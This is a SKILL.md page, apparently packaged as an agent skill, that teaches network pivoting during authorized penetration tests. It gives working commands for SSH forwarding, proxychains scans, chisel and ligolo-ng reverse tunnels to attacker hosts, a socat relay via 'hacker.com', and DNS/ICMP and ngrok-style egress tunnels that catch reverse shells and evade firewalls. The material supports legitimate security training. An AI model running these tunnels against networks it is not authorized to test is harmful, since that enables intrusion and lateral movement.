performing-network-pivoting-and-tunneling
$
npx mdskill add xalgord/xalgorix/performing-network-pivoting-and-tunneling- After compromising a host that has access to a network segment you cannot reach directly - When the target sits behind a DMZ, NAT, or firewall and you need to relay traffic through a foothold - When scanning or attacking internal services (RDP, WinRM, SMB, databases) from your attack box - When egress is restricted and you must tunnel over HTTPS, DNS, or ICMP - When establishing reverse access from an internal host out to your infrastructure
SKILL.md
.github/skills/performing-network-pivoting-and-tunnelingView on GitHub ↗
--- name: performing-network-pivoting-and-tunneling description: Pivoting into segmented internal networks during authorized engagements via SSH local/remote/dynamic forwarding, SOCKS proxies with proxychains, and modern tunneling tools (chisel, ligolo-ng, socat, sshuttle) plus egress-restricted options (DNS/ICMP tunnels, cloudflared, ngrok, frp) to reach otherwise unreachable hosts. domain: cybersecurity subdomain: linux-hardening tags: - penetration-testing - linux - pivoting - tunneling - port-forwarding version: '1.0' author: xalgorix license: Apache-2.0 --- # Performing Network Pivoting and Tunneling ## When to Use - After compromising a host that has access to a network segment you cannot reach directly - When the target sits behind a DMZ, NAT, or firewall and you need to relay traffic through a foothold - When scanning or attacking internal services (RDP, WinRM, SMB, databases) from your attack box - When egress is restricted and you must tunnel over HTTPS, DNS, or ICMP - When establishing reverse access from an internal host out to your infrastructure ## Critical: Techniques Most Often Missed Pivoting fails when testers forget that SOCKS-tunneled scans must be TCP-connect, or pick the wrong forward direction. Get the fundamentals exact. - **SOCKS scans need `-sT -Pn`.** ICMP and SYN scans cannot traverse a SOCKS proxy. - How to CONFIRM: `proxychains nmap -n -Pn -sT -p445,3389 10.10.17.25` returns open ports; the same scan without `-sT` hangs/returns nothing. - **Dynamic SSH forwarding (`-D`) = full SOCKS pivot.** A single `-D` gives access to the whole reachable subnet, not just one port. - How to CONFIRM: `ssh -f -N -D 1080 user@foothold`, set `socks4 127.0.0.1 1080` in proxychains, then `proxychains curl http://internal` works. - **Remote forward (`-R`) for reverse access through a DMZ.** Requires `GatewayPorts yes` to bind non-loopback. - How to CONFIRM: `ssh -R 0.0.0.0:443:0.0.0.0:7000 user@dmzhost`; a reverse shell sent to dmz:443 lands on your `localhost:7000`. - **ligolo-ng / chisel give a routed tunnel, not just one port.** A `ligolo` tun interface + route reaches the whole agent subnet. - How to CONFIRM: after `tunnel_start` + `interface_add_route`, `nmap`/`curl` to the agent's subnet works with no proxychains. - **Version mismatch breaks chisel/ligolo silently.** Client and server (agent and proxy) must be the same version. - How to CONFIRM: identical `--version` on both ends; the tunnel establishes and `listener_list`/proxychains traffic flows. - **Egress-only-443 environments still tunnel.** cloudflared/ngrok/frp ride outbound HTTPS; DNS/ICMP tunnels when only those leak. - How to CONFIRM: `cloudflared tunnel --url ...` yields a reachable `trycloudflare.com` URL despite blocked inbound. ## Workflow ### Step 1: Map Reachability from the Foothold ```bash ip route ; ip addr ; cat /etc/hosts # what subnets does the foothold see for i in $(seq 1 254); do (ping -c1 -W1 10.0.5.$i >/dev/null && echo "10.0.5.$i up") & done; wait # Or check listening internal services ss -tlnp ; ss -tnp | grep ESTAB ``` ### Step 2: SSH Port Forwarding (the core primitives) ```bash # LOCAL forward: your_port -> foothold -> third_box:port ssh -i key user@foothold -L 631:<victim_ip>:631 -N -f # DYNAMIC forward: SOCKS proxy through the foothold (whole subnet) ssh -f -N -D 1080 user@foothold echo 'socks4 127.0.0.1 1080' >> /etc/proxychains.conf proxychains nmap -n -Pn -sT -p445,3389,5985 10.0.5.25 # REMOTE forward: open a port on the foothold/DMZ back to a local service ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@foothold # needs GatewayPorts yes ``` ### Step 3: Tunnel a Whole Subnet with sshuttle ```bash pip install sshuttle sshuttle -r user@foothold 10.10.10.0/24 sshuttle -D -r user@foothold 0/0 --ssh-cmd 'ssh -i ./id_rsa' # daemon + key ``` ### Step 4: chisel (reverse SOCKS when SSH isn't available) ```bash # Attacker (server, reverse mode) ./chisel server -p 8080 --reverse # Victim (client) -> exposes a SOCKS proxy on the attacker's :1080 ./chisel client 10.10.14.3:8080 R:socks proxychains -q nmap -sT -Pn -p3389 10.0.5.50 # Single-port reverse forward instead of SOCKS ./chisel client 10.10.14.20:8080 R:4505:127.0.0.1:4505 ``` ### Step 5: ligolo-ng (routed tun interface — fast, no proxychains) ```bash # Attacker (proxy) sudo ./proxy -selfcert interface_create --name "ligolo" certificate_fingerprint # Victim (agent) ./agent -connect <attacker_ip>:11601 -accept-fingerprint <fingerprint> # Attacker: select session, then route the agent's subnet through the tun session # pick the agent tunnel_start --tun "ligolo" interface_add_route --name "ligolo" --route 10.0.5.0/24 # Now scan/connect directly: nmap -sT 10.0.5.0/24 # Reverse listener on the agent forwarding back to the proxy: listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp ``` ### Step 6: socat Relays and TCP Forwarders ```bash # Simple TCP forwarder on the pivot: listen 1234 -> redirect_ip:rport socat TCP4-LISTEN:1234,fork TCP4:<redirect_ip>:<rport> & # socat as a SOCKS-aware forwarder socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 # Encrypted relay through a non-auth proxy (egress) socat OPENSSL,verify=1,cert=client.pem,cafile=server.crt|PROXY:hacker.com:443|TCP:proxy.lan:8080 ``` ### Step 7: Egress-Restricted Tunnels (only 443 / DNS / ICMP out) ```bash # cloudflared — outbound 443 only, no inbound rules needed cloudflared tunnel --url http://localhost:8080 # -> https://<rand>.trycloudflare.com # ngrok — expose a TCP listener to the Internet ./ngrok tcp 4444 # -> 0.tcp.ngrok.io:12345 # frp — reverse proxy / SSH tunnel gateway (living off the land) ./frpc -c frpc.toml # exposes local 3389 on frps:5000 # DNS tunnel (root both ends) when only DNS resolves out iodined -f -c -P pass 1.1.1.1 tunneldomain.com # server iodine -f -P pass tunneldomain.com -r # client; then ssh -D 1080 1.1.1.2 # ICMP tunnel when only ping leaves sudo ptunnel-ng -p <server_ip> -l 2222 -r <dest_ip> -R 22 ; ssh -p 2222 user@127.0.0.1 ``` ## Key Concepts | Concept | Description | |---------|-------------| | **Local forward (-L)** | Binds a port on your box that tunnels to a remote host:port via the foothold | | **Remote forward (-R)** | Opens a port on the foothold/DMZ that tunnels back to a service on your side | | **Dynamic forward (-D)** | Turns SSH into a SOCKS proxy reaching any host the foothold can see | | **SOCKS + proxychains** | Wrap arbitrary TCP tools to route through a proxy; requires `-sT -Pn` for nmap | | **Routed tun pivot** | ligolo-ng/sshuttle create an interface+route so tools talk to the subnet directly | | **Reverse tunnel** | Connection initiated from the internal/victim side outbound (defeats inbound ACLs) | | **Egress tunneling** | DNS/ICMP/HTTPS channels (iodine, ptunnel-ng, cloudflared) for locked-down networks | ## Tools & Systems | Tool | Purpose | |------|---------| | **ssh** | `-L`/`-R`/`-D` forwarding; the universal pivot primitive | | **proxychains** | Force arbitrary TCP tools through a SOCKS/HTTP proxy | | **sshuttle** | Transparent subnet-level VPN-like tunnel over SSH | | **chisel** | Fast TCP/SOCKS tunnel over HTTP; reverse mode for NAT'd victims | | **ligolo-ng** | Routed tun-interface pivoting (agent/proxy), no proxychains needed | | **socat** | Flexible TCP/TLS/SOCKS relays and forwarders | | **cloudflared / ngrok / frp** | Outbound-only tunnels that bypass ingress firewalls | | **iodine / ptunnel-ng / dnscat2** | DNS and ICMP tunnels for egress-restricted environments | ## Common Scenarios ### Scenario 1: SOCKS pivot to scan an internal subnet A web server foothold reaches the 10.0.5.0/24 management VLAN. `ssh -D 1080` + `proxychains nmap -sT -Pn` enumerates RDP/WinRM hosts unreachable from the attack box. ### Scenario 2: Reverse shell out of a DMZ An internal host can only talk to the DMZ box. `ssh -R 0.0.0.0:443:0.0.0.0:7000` (GatewayPorts yes) lets the internal host send a reverse shell to dmz:443 which surfaces on the tester's localhost:7000. ### Scenario 3: ligolo routed tunnel for full access A chisel SOCKS proxy is too slow for SMB. ligolo-ng's tun interface plus a subnet route lets `crackmapexec` and `evil-winrm` talk to the subnet natively. ### Scenario 4: Egress-only-443 environment Inbound is fully blocked and only outbound 443 works. `cloudflared tunnel --url socks5://localhost:1080 --socks5` provides a working SOCKS path off the host. ## Output Format ``` ## Network Pivoting Finding **Activity**: Internal Network Pivoting **Severity**: Informational / Methodology **Foothold**: web01 (10.0.1.20) with route to 10.0.5.0/24 (management VLAN) ### Pivot Established ssh -f -N -D 1080 svc@10.0.1.20 proxychains.conf: socks4 127.0.0.1 1080 ### Reachable Internal Hosts (via pivot) | Host | Port | Service | |------|------|---------| | 10.0.5.10 | 3389 | RDP (DC) | | 10.0.5.25 | 5985 | WinRM | | 10.0.5.40 | 1433 | MSSQL | ### Impact Segmentation between the web tier and the management VLAN is not enforced at the host level; a single web compromise exposes domain infrastructure. ### Recommendation 1. Enforce egress filtering and host-based firewalls on the web tier 2. Restrict management VLAN access to jump hosts with MFA and logging 3. Patch SSH to >= 9.6 (Terrapin CVE-2023-48795) before relying on tunnels 4. Monitor for SOCKS proxies, chisel/ligolo binaries, and anomalous DNS/ICMP volume ```